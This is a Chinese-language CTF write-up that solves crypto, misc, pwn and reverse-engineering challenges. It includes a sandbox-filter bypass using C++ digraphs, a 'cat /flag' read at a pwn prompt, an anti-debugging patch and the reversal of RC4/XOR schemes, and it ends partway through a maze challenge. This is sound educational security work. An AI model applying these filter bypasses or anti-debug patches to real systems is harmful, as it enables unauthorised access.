发现同样是维尼吉亚密码,代入求解器选择autokey模式解得key为supersubtitutionzen2为:

1
2
3
4
5
6
7
IN THE FACE OF AMBIGUITY, REFUSE THE TEMPTATION TO GUESS.
THERE SHOULD BE ONE-- AND PREFERABLY ONLY ONE --OBVIOUS WAY TO DO IT.
ALTHOUGH THAT WAY MAY NOT BE OBVIOUS AT FIRST UNLESS YOU'RE DUTCH.
NOW IS BETTER THAN NEVER.
ALTHOUGH NEVER IS OFTEN BETTER THAN RIGHT NOW.
IF THE IMPLEMENTATION IS HARD TO EXPLAIN, IT'S A BAD IDEA.

是python之禅的另一部分,但这次中间没有夹杂额外的句子,将明文的结尾多加上一个换行符,返回flag{8bc383165248f2e45a6910960a61e6a8}.

Misc方向:

BGM坏了吗?:

观察音乐频谱发现最后几秒钟的左声道为杂音,右声道有整齐的波形,截取右声道的波形如下:

经过对比分析得知这是经典的DTMF拨号音,经过比对听出信息为2024093020241103,即为flag.

ez_jail:

下载后观察文件发现题目配置了一个用Python编写的服务器,需要上传被base64编码的C++代码,并在不允许使用#include、#define、不包含{}、长度不超过100字符的情况下执行,若成功输出”Hello, World!”,则会返回flag,查找各种信息后发现二元字符<%和%>可以替代{},将void user_code() <% std::cout << “Hello, World!”; %>转换成base64:dm9pZCB1c2VyX2NvZGUoKSA8JSBzdGQ6OmNvdXQgPDwgIkhlbGxvLCBXb3JsZCEiOyAlPg==并输入,得到flag{cabac835-dabb-406e-8047-c83a95868834}.

AmazingGame:

把游戏至少打通一关,安装MT管理器,找到安装包提取,找到com.pangbai.projectm,发现数据目录/data/user/0/com.pangbai.projectm,找到shared_prefs,发现一个文件net.osaris.turbofly.JumpyBall.xml,点击查看发现是存档,代码如下:

1
2
3
4
5
6
7
8
9
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<int name="unlockedsolotracks" value="2" />
<int name="unlockedtracks" value="2" />
<int name="best0m0" value="135" />
<int name="unlockedships" value="1" />
<int name="userid" value="7034550" />
</map>

将前两个值修改为21,第四个值改成5(解锁最强战机)再次启动游戏发现文档已经被改回去,但是多了个bak文件,点击bak文件恢复备份(将bak文件与现在的文档互换后缀),再次修改成同样的值,并等待一会,发现关卡已解锁,把第二十关打通,得到flag{U_W1n!!_7he_g@m4}.

OSINT-MASTER:

打开图像发现是在飞机上拍的照片,右侧机翼上有飞机编号B-2419,点击图像详细信息,发现拍摄时间2024年8月18日14:30,在飞常准软件中搜索,得到航班编号MU5156,跟踪得到14:30时位于山东省济宁市,组合得到flag{MU5156_济宁市}.

赛题轮次:Week4

已解出的题目:

题目类型 题目名称
Pwn Maze_Rust
Reverse Easygui、ezrust、MazE、洞OVO
Crypto 欧拉欧拉!!、圣石匕首
Misc 扫码领取flag、ezblockchain、Alt

Pwn方向:

Maze_Rust:

把迷宫走完就出来了,卡墙了就刷新地图,最后:

Say something: cat /flag

返回flag{bf1bc81d-3f19-46a5-9962-15367aa71e06}.

Reverse方向:

easygui:

反编译找到WinMain,发现整个主函数里面只有一个子函数sub_140001490,查看发现前面声明了一大串变量,再往下就是程序的输入框和验证框,在第140行找到:

1
2
3
if ( WindowTextW <= 44 )
{
sub_140001000(String, (unsigned int)WindowTextW, v93);

之后是大量的字符比较和最终结果的打印,可以证明这里就是给输入的字符串进行加密和验证的地方,加密的flag值为[-33, -57, 77, 20, -63, -20, 8, -28, 95, 63, 3, -76, -112, 74, -71, -113, -113, -6, 113, 67, -57, -15, -99, -35, 79, -64, 18, 68, 92, -99, -120, 54, 45, 22, 29, -19, -68, -17, -69, 91, -97, 119,-21, 88],再观察加密函数sub_140001000(String, (unsigned int)WindowTextW, v93);string是输入的字符串(但是每个字符之间有一个间隔),windowtextw是输入字符串长度,v93是输入的字符串的每个字符,函数将输入的字符串移动到Src数组,然后将v29数组加载上8个常量:

1
2
3
4
5
6
7
8
xmmword_140003390: 17122A41293C7A6463251526050E3B7Fh
xmmword_1400033A0: 231975071D4E4A6740241E4D324C5C58h
xmmword_1400033B0: 286A5D7E6D69183F620F681B30014F0Ch
xmmword_1400033C0: 431F6B044265353A7078530320547431h
xmmword_1400033D0: 51562C591A2F4B52130B082176003706h
xmmword_1400033E0: 5A141C5F7116476F6C4433663D57392Eh
xmmword_1400033F0: 73770A0D7D1127342B7C492D6E613660h
xmmword_140003400: 7948103845467B503E025E0972555B22h

注意到xmmword都是从右往左填入的(仍然是小端序),也即

1
2
3
4
5
6
7
8
9
v29 = [
0x31, 0x74, 0x54, 0x20, 0x03, 0x53, 0x78, 0x70, 0x3a, 0x35, 0x65, 0x42, 0x04, 0x6b, 0x1f, 0x43,
0x06, 0x37, 0x00, 0x76, 0x21, 0x08, 0x0b, 0x13, 0x52, 0x4b, 0x2f, 0x1a, 0x59, 0x2c, 0x56, 0x51,
0x7f, 0x3b, 0x0e, 0x05, 0x26, 0x15, 0x25, 0x63, 0x64, 0x7a, 0x3c, 0x29, 0x41, 0x2a, 0x12, 0x17,
0x2e, 0x39, 0x57, 0x3d, 0x66, 0x33, 0x44, 0x6c, 0x6f, 0x47, 0x16, 0x71, 0x5f, 0x1c, 0x14, 0x5a,
0x0c, 0x4f, 0x01, 0x30, 0x1b, 0x68, 0x0f, 0x62, 0x3f, 0x18, 0x69, 0x6d, 0x7e, 0x5d, 0x6a, 0x28,
0x22, 0x5b, 0x55, 0x72, 0x09, 0x5e, 0x02, 0x3e, 0x50, 0x7b, 0x46, 0x45, 0x38, 0x10, 0x48, 0x79,
0x60, 0x36, 0x61, 0x6e, 0x2d, 0x49, 0x7c, 0x2b, 0x34, 0x27, 0x11, 0x7d, 0x0d, 0x0a, 0x77, 0x73,
0x58, 0x5c, 0x4c, 0x32, 0x4d, 0x1e, 0x24, 0x40, 0x67, 0x4a, 0x4e, 0x1d, 0x07, 0x75, 0x19, 0x23]

之后进行第一次加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ( (int)v4 > 0 )	//输入值长度
{
for ( j = 0i64; j < v4; ++j )
Src[j] = *((_BYTE *)v29 + (unsigned __int8)Src[j]); //实测这里加上的数与原本的字符类型绑定
for ( k = 0i64; k < v4; k += 4i64 ) //4个字符一组
{
v11 = Src[k + 3]; //每组字符串的第4个字符
v12 = Src[k + 2]; //每组字符串的第3个字符
v13 = ((unsigned __int8)Src[k] >> 3) | (32 * v11); //每组字符串的第1个字符右移3位与32倍的第4个字符进行按位或运算的值
v14 = 32 * Src[k + 1]; //32倍的每组字符串的第2个字符
Src[k + 1] = (32 * Src[k]) | ((unsigned __int8)Src[k + 1] >> 3); //每组字符串的第2个字符=32倍的第1个字符与第2个字符右移3位进行按位或运算的值
v15 = 32 * v12; //32倍的每组字符串的第3个字符
Src[k + 2] = v14 | HIBYTE(v15); //每组字符串的第3个字符=32倍的第2个字符与32倍的第3个字符的高八位进行按位或运算的值
Src[k] = v13; //每组字符串的第1个字符=第1个字符右移3位与32倍的第4个字符进行按位或运算的值
Src[k + 3] = v15 | (v11 >> 3); //每组字符串的第4个字符=32倍的第3个字符与第4个字符右移3位进行按位或运算的值
}
}

然后改变v29:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
v16 = 256i64;
strcpy(v28, "easy_GUI"); //v28 = [0x65, 0x61, 0x73, 0x79, 0x5F, 0x47, 0x55, 0x49]
v17 = 0;
memset(v31, 0, sizeof(v31));
v18 = 0;
v19 = 0i64;
do //256次循环
{
*((_BYTE *)v29 + v19) = v18; //将 v18 的值赋给 v29 数组的第 v19 个元素(最终效果是120317ECD0~120317EDCF为0~FF)
v20 = v18 & 7;
++v19;
++v18;
Src[v19 + 303] = v28[v20]; //将字符串 "easy_GUI" 的第 v20 个字符赋给 Src 数组的第 v19 + 303 个元素(最终效果是
} //120317EF00 ~120317EFFF均为easy_GUI的循环)
while ( v18 < 256 );

v21 = 0i64;
do //256次循环,“Fisher-Yates 洗牌”或“RC4 密钥调度算法”的一部分
{
v22 = *((unsigned __int8 *)v29 + v21);
v17 = (v22 + v31[v21] + v17) % 256;
v23 = (char *)v29 + v17;
result = (unsigned __int8)*v23;
*((_BYTE *)v29 + v21++) = result;
*v23 = v22;
--v16;
}
while ( v16 );

最后再进行一次加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v25 = 0;
if ( v7 > 0 )
{
for ( m = 0i64; m < v7; ++m ) //循环
{
v6 = (v6 + 1) % 256; //v6++并取余256
v27 = *((unsigned __int8 *)v29 + v6); //s盒中第v6个数的值
v25 = (v27 + v25) % 256; //v25每次循环的值v27 + v25取余256
*((_BYTE *)v29 + v6) = *((_BYTE *)v29 + v25); //RC4动态更新S盒
*((_BYTE *)v29 + v25) = v27;
Src[m] ^= *((_BYTE *)v29 + (unsigned __int8)(v27 + *((_BYTE *)v29 + v6))); //v27 + v29[v6]生成一个索引,v29数组中该索引的值作为伪随机字节,与 Src[m] 进行异或操作
}
return (unsigned __int64)memcpy(a3, Src, v7); //用 memcpy 将加密后的 Src 数组复制到 a3 指向的内存区域,并返回复制的字节数
}

观察发现最后一次是以easy_GUI为key的RC4,第一次则是置换与位运算,进行动态调试发现失败,观察发现第94行有if ( !IsDebuggerPresent() )反调试,按照惯例将跳转的jz修改为jnz(74改75)处理后能正常运行,却发现输入框只能输入42个字符,于是在调试的时候修改数据补上两个,调试过程中发现的规律已经在上面的函数处进行注释.

下面先逆向第一次加密:由于第一次加密分两个小部分,先是把每个字符的值按10周期的循环加上[8, 25, A, 32, FE, E, 35, 37, E, FE]再强制转换为byte,那么这部分的逆向就很简单了,减回去就行,第二部分的位运算就比较复杂,先对反编译出来的函数进行化简(以4个字符为一个单元):

1
2
3
4
5
6
7
8
def encrypt_step_1(Src):
old = Src
new = [0,0,0,0]
new[0] = ((old[3] << 5) | (old[0] >> 3)) & 0xFF
new[1] = ((old[0] << 5) | (old[1] >> 3)) & 0xFF
new[2] = ((old[1] << 5) | (old[2] >> 3)) & 0xFF
new[3] = ((old[2] << 5) | (old[3] >> 3)) & 0xFF
return new

也就是说正向过程为:

新的第一个=旧的第四个的低三位在前+旧的第一个的高五位在后:new[0] = ((old[3] << 5) | (old[0] >> 3)) & 0xFF

新的第二个=旧的第一个的低三位在前+旧的第二个的高五位在后:new[1] = ((old[0] << 5) | (old[1] >> 3)) & 0xFF

新的第三个=旧的第二个的低三位在前+旧的第三个的高五位在后:new[2] = ((old[1] << 5) | (old[2] >> 3)) & 0xFF

新的第四个=旧的第三个的低三位在前+旧的第四个的高五位在后:new[3] = ((old[2] << 5) | (old[3] >> 3)) & 0xFF


那么逆向过程就是:

旧的第一个=新的第一个的低五位在前+新的第二个的高三位在后:old[0] = ((new[0] << 3) | (new[1] >> 5)) & 0xFF

旧的第二个=新的第二个的低五位在前+新的第三个的高三位在后:old[1] = ((new[1] << 3) | (new[2] >> 5)) & 0xFF

旧的第三个=新的第三个的低五位在前+新的第四个的高三位在后:old[2] = ((new[2] << 3) | (new[3] >> 5)) & 0xFF

旧的第四个=新的第四个的低五位在前+新的第一个的高三位在后:old[3] = ((new[3] << 3) | (new[0] >> 5)) & 0xFF

1
2
3
4
5
6
7
8
9
10
def decrypt_step_or(Src):
new = Src
k = len(Src) # 列表的长度
old = [0] * k # 使old列表的长度为src的长度
for i in range(0, k, 4): # 逆向
old[i + 0] = ((new[i + 0] << 3) | (new[i + 1] >> 5)) & 0xFF
old[i + 1] = ((new[i + 1] << 3) | (new[i + 2] >> 5)) & 0xFF
old[i + 2] = ((new[i + 2] << 3) | (new[i + 3] >> 5)) & 0xFF
old[i + 3] = ((new[i + 3] << 3) | (new[i + 0] >> 5)) & 0xFF
return old

再把最后一步进行逆向:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import struct
v29 = [0x31, 0x74, 0x54, 0x20, 0x03, 0x53, 0x78, 0x70, 0x3a, 0x35, 0x65, 0x42, 0x04, 0x6b, 0x1f, 0x43,
0x06, 0x37, 0x00, 0x76, 0x21, 0x08, 0x0b, 0x13, 0x52, 0x4b, 0x2f, 0x1a, 0x59, 0x2c, 0x56, 0x51,
0x7f, 0x3b, 0x0e, 0x05, 0x26, 0x15, 0x25, 0x63, 0x64, 0x7a, 0x3c, 0x29, 0x41, 0x2a, 0x12, 0x17,
0x2e, 0x39, 0x57, 0x3d, 0x66, 0x33, 0x44, 0x6c, 0x6f, 0x47, 0x16, 0x71, 0x5f, 0x1c, 0x14, 0x5a,
0x0c, 0x4f, 0x01, 0x30, 0x1b, 0x68, 0x0f, 0x62, 0x3f, 0x18, 0x69, 0x6d, 0x7e, 0x5d, 0x6a, 0x28,
0x22, 0x5b, 0x55, 0x72, 0x09, 0x5e, 0x02, 0x3e, 0x50, 0x7b, 0x46, 0x45, 0x38, 0x10, 0x48, 0x79,
0x60, 0x36, 0x61, 0x6e, 0x2d, 0x49, 0x7c, 0x2b, 0x34, 0x27, 0x11, 0x7d, 0x0d, 0x0a, 0x77, 0x73,
0x58, 0x5c, 0x4c, 0x32, 0x4d, 0x1e, 0x24, 0x40, 0x67, 0x4a, 0x4e, 0x1d, 0x07, 0x75, 0x19, 0x23]
re_v29 = [None] * 256
for i, byte in enumerate(v29):
re_v29[byte] = i
Src = [0x7C, 0x0D, 0x36, 0x2B, 0x1D, 0x62, 0x5E, 0x3B, 0x79, 0x4C, 0x3D, 0x24, 0x3D, 0x55, 0x33, 0x49, 0x79, 0x3D, 0x77, 0x62, 0x39, 0x77, 0x3D, 0x49, 0x4C, 0x39, 0x77, 0x2B, 0x79, 0x27, 0x33, 0x79, 0x24, 0x3D, 0x4C, 0x4A, 0x79, 0x32, 0x39, 0x0A, 0x58, 0x0D, 0x3D, 0x75]
decrypted_Src = []
for byte in Src:
decrypted_Src.append(re_v29[byte])
print([f"0x{b:02X}" for b in decrypted_Src])
decrypted_str = ''.join(chr(b) for b in decrypted_Src)
print(decrypted_str)

以上两个就是倒数第二、第一步的逆向(正向加密的第二、一步),后面的就是典型的以“easy_GUI”为key的RC4了,带入经过前两次加密的字符串C72AE7ACE6688D8DE8E5C72AE7ACE6688D8DE8E5C72AE7ACE6688D8DE8E5C72AE7ACE6688D8DE8E5C72A(1234567890*4+12)进行验证,在线网站和IDA上的输出相同,均为776c0c7d4428ceae38f3433a504cf98e4d50374a27f59dd8c02fb12c9b5ca9738e3d520c7e44149ff35c,验证通过,将原先的加密值(DFC74D14C1EC08E45F3F03B4904AB98F8FFA7143C7F19DDD4FC012445C9D88362D161DEDBCEFBB5B9F77EB58)带入,解得[0x6f, 0x81, 0xa6, 0xc5, 0x63, 0xac, 0x4b, 0xc7, 0x8f, 0x29, 0x87, 0xa4, 0x27, 0xaa, 0xa6, 0x69, 0x4f, 0x27, 0xae, 0xec, 0x27, 0x2e, 0xe7, 0xa9, 0x69, 0x87, 0x2e, 0xe5, 0x2f, 0x24, 0xe6, 0x6f, 0x44, 0x87, 0xa9, 0x89, 0x4f, 0x26, 0x47, 0x21, 0xab, 0x01, 0xa7, 0xae],再代入上面的两个逆向函数的倒数第二步,解得[0x7C, 0x0D, 0x36, 0x2B, 0x1D, 0x62, 0x5E, 0x3B, 0x79, 0x4C, 0x3D, 0x24, 0x3D, 0x55, 0x33, 0x49, 0x79, 0x3D, 0x77, 0x62, 0x39, 0x77, 0x3D, 0x49, 0x4C, 0x39, 0x77, 0x2B, 0x79, 0x27, 0x33, 0x79, 0x24, 0x3D, 0x4C, 0x4A, 0x79, 0x32, 0x39, 0x0A, 0x58, 0x0D, 0x3D, 0x75],再代入最后一步,解得[0x66, 0x6C, 0x61, 0x67, 0x7B, 0x47, 0x55, 0x21, 0x5F, 0x72, 0x33, 0x76, 0x33, 0x52, 0x35, 0x65, 0x5F, 0x33, 0x6E, 0x47, 0x31, 0x6E, 0x33, 0x65, 0x72, 0x31, 0x6E, 0x67, 0x5F, 0x69, 0x35, 0x5F, 0x76, 0x33, 0x72, 0x79, 0x5F, 0x73, 0x31, 0x6D, 0x70, 0x6C, 0x33, 0x7D],即为flag{GU!_r3v3R5e_3nG1n3er1ng_i5_v3ry_s1mpl3}.

ezrust:

发现函数多达543个,好在是windows程序,结合动态调试单步调试观察主要函数,首先是只有一行的main,返回的是std::rt::lang_start::h55428494e2afd6bb((__int64)sub_7FF790BE4D20, argc, (__int64)argv, 0);,看起来很奇怪,main并没有直接包含程序基本运行逻辑,而是用·std::rt::lang_start::h55428494e2afd6bb来执行,并且这个函数的第一个参数又是另一个函数sub_7FF790BE4D20的返回值,观察外部函数的反编译:

1
2
v2 = a1;	//这里v2、a1就是sub_7FF790BE4D20的返回值
return std::rt::lang_start_internal::hc7b8e748e4342164((__int64)&v2, (__int64)&unk_7FF790BFF548);

发现又嵌套了一层,而&unk_7FF790BFF548是一个除了第九项为8之外其他项全为0的24项的数组,再看这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall std::rt::lang_start_internal::hc7b8e748e4342164(__int64 a1, __int64 a2)
{
HANDLE CurrentThread; // rax
__int64 v3; // rax
__int64 result; // rax
__int64 v5[3]; // [rsp+30h] [rbp-50h] BYREF
ULONG StackSizeInBytes[2]; // [rsp+48h] [rbp-38h] BYREF
__int64 v7; // [rsp+80h] [rbp+0h] BYREF
__int64 v8; // [rsp+98h] [rbp+18h]
__int64 v9; // [rsp+A0h] [rbp+20h]
__int64 v10; // [rsp+A8h] [rbp+28h]

v10 = -2i64;
v9 = a2; //v10 = -2,v9 = unk,v8 = sub的返回值
v8 = a1;
AddVectoredExceptionHandler(0, std::sys::pal::windows::stack_overflow::vectored_handler);
StackSizeInBytes[0] = 20480;
SetThreadStackGuarantee(StackSizeInBytes);
CurrentThread = GetCurrentThread();
off_7FF790C0B030(CurrentThread, L"main");
v5[0] = 0i64;
v3 = std::thread::Thread::new_inner(v5);
std::thread::set_current::h851718f917992fcb(v3);
result = (*(int (__fastcall **)(__int64))(v9 + 40))(v8);
if ( qword_7FF790C0B148 != 3 )
{
v9 = result;
LOBYTE(v7) = 1;
*(_QWORD *)StackSizeInBytes = &v7;
std::sys::sync::once::queue::Once::call::h028ada4c67e00e11(
(unsigned int)&qword_7FF790C0B148,
0,
(unsigned int)StackSizeInBytes,
(unsigned int)&unk_7FF790C01018,
(__int64)&off_7FF790C00440);
return v9;
}
return result;
}

发现了很多名称很长又极其丑陋的函数,过于复杂,而且貌似和核心程序并没有什么关系(毕竟正常运行时弹出的“请输入要比较的字符串:”和经典的比较函数以及加密的flag字符串貌似在这里都找不到),转换角度观察其第一个参数sub_7FF790BE4D20这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
__int64 sub_7FF790BE4D20()
{
...声明变量省略...
v19[1] = -2i64;
v6 = (_BYTE *)sub_7FF790BE3240(26i64, 1i64);
*v6 = 18;
v6[1] = 31;
v6[2] = 20;
v6[3] = 21;
v6[4] = 30;
v6[5] = 15;
v6[6] = 95;
v6[7] = 57;
v6[8] = 43;
v6[9] = 51;
v6[10] = 7;
v6[11] = 65;
v6[12] = 58;
v6[13] = 79;
v6[14] = 95;
v6[15] = 3;
v6[16] = 16;
v6[17] = 44;
v6[18] = 53;
v6[19] = 6;
v6[20] = 58;
v6[21] = 4;
v6[22] = 26;
v6[23] = 31;
v6[24] = 0;
v6[25] = 14;
sub_7FF790BE3960(v7, v6, 26i64);
sub_7FF790BE1EE0(v8, &off_7FF790BFFE20);
std::io::stdio::_print::hfb1cb878ecb43904(v8);
v9 = std::io::stdio::stdout::hd8319b1a11ac1aa1();
v15 = _$LT$std..io..stdio..Stdout$u20$as$u20$std..io..Write$GT$::flush::h6c721deb5b75b2b0(&v9);
if ( v15 )
{
v16 = v15;
core::result::unwrap_failed::h77060c222a1dc3ba(
(unsigned int)"called `Result::unwrap()` on an `Err` value",
43,
(unsigned int)&v16,
(unsigned int)&off_7FF790BFFBE0,
(__int64)&off_7FF790BFFE30);
}
sub_7FF790BE39E0(v10);
v11 = std::io::stdio::stdin::he1ba180739c71ab9();
v17 = std::io::stdio::Stdin::read_line::h381832b7ef3a4ed2(&v11, v10);
v18 = v0;
if ( v17 )
{
v19[0] = v18;
core::result::unwrap_failed::h77060c222a1dc3ba(
(unsigned int)"called `Result::unwrap()` on an `Err` value",
43,
(unsigned int)v19,
(unsigned int)&off_7FF790BFFBE0,
(__int64)&off_7FF790BFFE48);
}
v1 = sub_7FF790BE4480(v10);
v3 = sub_7FF790BE2850(v1, v2);
sub_7FF790BE4BA0((unsigned int)v12, v3, v4, (unsigned int)&unk_7FF790BFFDF8, 8i64);
if ( (sub_7FF790BE3050(v12, v7) & 1) != 0 )
{
sub_7FF790BE1EE0(v13, &off_7FF790BFFE98);
std::io::stdio::_print::hfb1cb878ecb43904(v13);
}
else
{
sub_7FF790BE1EE0(v14, &off_7FF790BFFE78);
std::io::stdio::_print::hfb1cb878ecb43904(v14);
}
sub_7FF790BE2250(v12);
sub_7FF790BE2220(v10);
return sub_7FF790BE2250(v7);
}

可以看到v6是一个26个字节的数组,可能是被加密的flag,值为[18, 31, 20, 21, 30, 15, 95, 57, 43, 51, 7, 65, 58, 79, 95, 3, 16, 44, 53, 6, 58, 4, 26, 31, 0, 14],而还有一些其他的变量v7、v8等作用未知,在v15 = _$LT$std..io..stdio..Stdout$u20$as$u20$std..io..Write$GT$::flush::h6c721deb5b75b2b0(&v9);这一行打印了“请输入要比较的字符串:”,在v17 = std::io::stdio::Stdin::read_line::h381832b7ef3a4ed2(&v11, v10);这一行读取了输入,v1 = sub_7FF790BE4480(v10);负责存储输入到v1,真正重要的是sub_7FF790BE4BA0((unsigned int)v12, v3, v4, (unsigned int)&unk_7FF790BFFDF8, 8i64);这个函数,其中的第四个参数&unk_7FF790BFFDF8是一个字符串“loverust”([0x6C, 0x6F, 0x76, 0x65, 0x72, 0x75, 0x73, 0x74]),
观察这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall sub_7FF790BE4BA0(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5)	//a1是v12,a2是v3,a3是v4,a4是字符串,a5是8
{
__int64 v5; // rdx
__int64 v7; // [rsp+38h] [rbp-70h]
__int64 v10[2]; // [rsp+50h] [rbp-58h] BYREF
__int64 v11; // [rsp+60h] [rbp-48h] BYREF
char v12[40]; // [rsp+68h] [rbp-40h] BYREF
char v13[24]; // [rsp+90h] [rbp-18h] BYREF

v10[0] = a4; //按小端序存储字符串的地址00007FF790BFFDF8(F8FDBF90F77F0000)
v10[1] = a5; //8
v11 = a5; //8
v7 = sub_7FF790BE28C0(a2, a3); //这个函数很奇怪,点进去查看发现只有一个参数a1,并返回a1;a2是输入数组,a3是输入长度,v7存储输入数组的地址
sub_7FF790BE2B30(v13, v7, v5); //这个函数将 输入数组的地址、v5(貌似也是输入数组的地址)、0 赋值给 v13 指向的数组的第一、二、三个元素,返回result为2163AE3BEF0
sub_7FF790BE29D0(v12, v13, v10, &v11);
sub_7FF790BE2AD0(a1, v12);
return a1;
}

其中sub_7FF790BE2B30(v13, v7, v5);有以下主要五行:

1
2
3
4
5
result = a1; //地址2163AE3BEF0
*a1 = a2; //输入数据的地址2163AE37E00
a1[1] = a3; //地址2163AE37E18
a1[2] = 0i64;
return result; //a1

其中sub_7FF790BE29D0(v12, v13, v10, &v11);有以下主要七行:

1
2
3
4
5
6
7
result = a1; //初始化???
*a1 = *a2; //输入数据的地址2163AE37E00
a1[1] = a2[1]; //输入数据的地址结束点2163AE37E18
a1[2] = a2[2]; //0???
a1[3] = a3; //字符串所在的地址00007FF790BFFDF8
a1[4] = a4; //8
return result; //a1

其中sub_7FF790BE2AD0(a1, v12);有以下主要两行:

1
2
sub_7FF790BE4940();
return a1;

其中sub_7FF790BE4940();有以下主要两行:

1
2
3
sub_7FF790BE4380(v4);
sub_7FF790BE4B00(a1, v4);
return a1;

其中v4是个40个字符的char,是各种地址的集合,观察sub_7FF790BE4380

1
2
memcpy_0(a1, a2, 0x28ui64);
return a1;

这里将a2的前40个字节复制给了a1,再观察sub_7FF790BE4B00

1
2
sub_7FF790BE14B0();
return a1;

再看sub_7FF790BE14B0,发现结构非常复杂,返回的result是输入字符的长度.

回到“主函数”sub_7FF790BE4D20,黑蓝色的部分返回的值只会是0或者1(也就是布尔值),并对应着不同的结果,猜测这个部分是加密和比较部分,查看sub_7FF790BE3050的主要部分(两个参数分别是a1和a2):

1
2
3
4
v7 = sub_7FF790BE46C0(a1, &off_7FF790BFFD18);
v8 = v2;
v3 = sub_7FF790BE46C0(a2, &off_7FF790BFFD18);
return sub_7FF790BE45B0(v7, v8, v3, v4) & 1;

先查看sub_7FF790BE46C0(第二个参数是一个library):

1
2
3
4
v4 = *(_QWORD *)(a1 + 8);
v5 = *(_QWORD *)(a1 + 16);
sub_7FF790BE2CC0(v4, 1ui64, 1ui64, v5);
return sub_7FF790BE49E0(v4, v5, a2);

发现v4指向地址2163AE3DB60(是一个很奇怪的字符串),v5是输入的长度,再查看sub_7FF790BE2CC0,发现主要是错误检查,最后返回的还是输入长度,最后result sub函数返回的result还是a1,回到sub_7FF790BE3050函数,发现最终的sub函数内部居然是比较函数memcmp:

1
return a2 == a4 && memcmp_0(a1, a3, a2) == 0;

其中a2是输入长度,a4应该是flag的长度(实际上为26,0x1A),而a1是E开头的字符串,a3就是上文的v6([0x12, 0x1f, 0x14, 0x15, 0x1e, 0x0f, 0x5f, 0x39, 0x2b, 0x33, 0x07, 0x41, 0x3a, 0x4f, 0x5f, 0x03, 0x10, 0x2c, 0x35, 0x06, 0x3a, 0x04, 0x1a, 0x1f, 0x00, 0x0e]),结合“主函数”后面的if和else,可知这就是用于比较的部分,到此为止,输入检测、存放输入的数组、加密的flag、flag长度、比较函数均已知,带入不同flag进行测试,发现是8个一组,对于其中每个位置的字符,假设每组第一个为t,则为[t, t+1, t-1, t+2, t-17, t-2, t-11, t-8](十进制,这里的数字不代表实际数字,而是在这个列表中的偏移量,程序把这些数据进行了某种混淆),其中t在某种程度上分多部分线性增加,考虑到“key”loverust的ASCII码小端序排列恰好符合这个要求,将加密的flag与loverust字符串倒序循环异或,得到数组[102, 108, 97, 103, 123, 121, 48, 85, 95, 64, 114, 51, 95, 57, 48, 111, 100, 95, 64, 116, 95, 114, 117, 115, 116, 125],转换得到flag{y0U_@r3_90od_@t_rust}.

附python代码:

1
2
3
4
5
6
flag = [0x12, 0x1f, 0x14, 0x15, 0x1e, 0x0f, 0x5f, 0x39, 0x2b, 0x33, 0x07, 0x41, 0x3a, 
0x4f, 0x5f, 0x03, 0x10, 0x2c, 0x35, 0x06, 0x3a, 0x04, 0x1a, 0x1f, 0x00, 0x0e]
loverust = [0x74, 0x73, 0x75, 0x72, 0x65, 0x76, 0x6F, 0x6C]
for i in range(26):
flag[i] ^= loverust[i % 8]
print(flag)

MazE:

发现是经典的迷宫游戏,开局提示用wsad来进行上下左右移动,要从左上角走到右下角,且只能看见周围九宫格的区域,flag是最短路径的md5数值,并且路径长度长达936.

先对main函数进行分析,发现有sub_56EBE386F469(下称mapgen)和sub_56EBE386F68F(下称move_detect)两个函数,根据上方mapgen先运行,之后进入死循环的mapgen以及move_detect可以推断出mapgen负责初始化以及后续生成迷宫视图,move_detect用于读取输入的方向并改变位置.

观察视图生成函数,发现a2和a3用于记录坐标,而初始代入值是(1,1),当坐标为(97,97)时判定胜利,还有三个执行三次的循环,则是生成第一二三行的迷宫视图,char a1的0-2(i)、4-6(j)、8-10(k)用于存储和显示当前的9个格子的地图,对于其中的一个循环有:

1
2
3
for ( i = 0; i <= 2; ++i )
a1[i] = sub_56EBE386F41B(&unk_56EBE38720A0, (unsigned int)(dword_56EBE3872020[i] + a2), (unsigned int)(dword_56EBE3872060[i] + a3));
a1[3] = 10;

可以看出sub_56EBE386F41B(下称map_encryptor)用于结合加密地图数据&unk_56EBE38720A0(下称encmap)和要显示的位置(后两个参数)来现实对应的字符(墙或者路),注意到其中有两个dword,分别记为d2和d3,有:

1
2
d2 = -1-1-1 0 0 0 0 0 1 1 1 0 0 0 0 0-1为等效)
d3 = -1 0 1 0 -1 0 1 0 -1 0 1 0 0 0 0 0

而对应绘制的ijk则为0 1 2 | 4 5 6 | 8 9 10,不妨设(a2,a3)为原点,则绘制的三行九宫格简化坐标为:

1
2
3
4
5
(-1, -1) (-1,  0) (-1,  1)

( 0, -1) ( 0, 0) ( 0, 1)

( 1, -1) ( 1, 0) ( 1, 1)

可以看出a2控制的是行,a3控制的是列,迷宫坐标范围至少为(0, 0)(98, 98) ,即大小至少为99*99,观察加密函数map_encryptor

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall sub_56EBE386F41B(__int64 a1, unsigned int a2, unsigned int a3)
{
int v4; // [rsp+1Ch] [rbp-4h]

v4 = sub_56EBE386F3A1(a1, a2, a3);
if ( !v4 )
return 48LL;
if ( v4 == 1 )
return 49LL;
return 101LL;
}

可以看出,v4根据地图和坐标位置返回两种特殊的非零状态或者零状态,如果为零就返回0x48(0的ASCII码),普通情况下的非零状态(1)返回0x49(1的ASCII码),特殊情况返回0x101(e的ASCII码),很明显,返回0时是路,返回1时是墙,返回e时大概是当前位置或者终点.

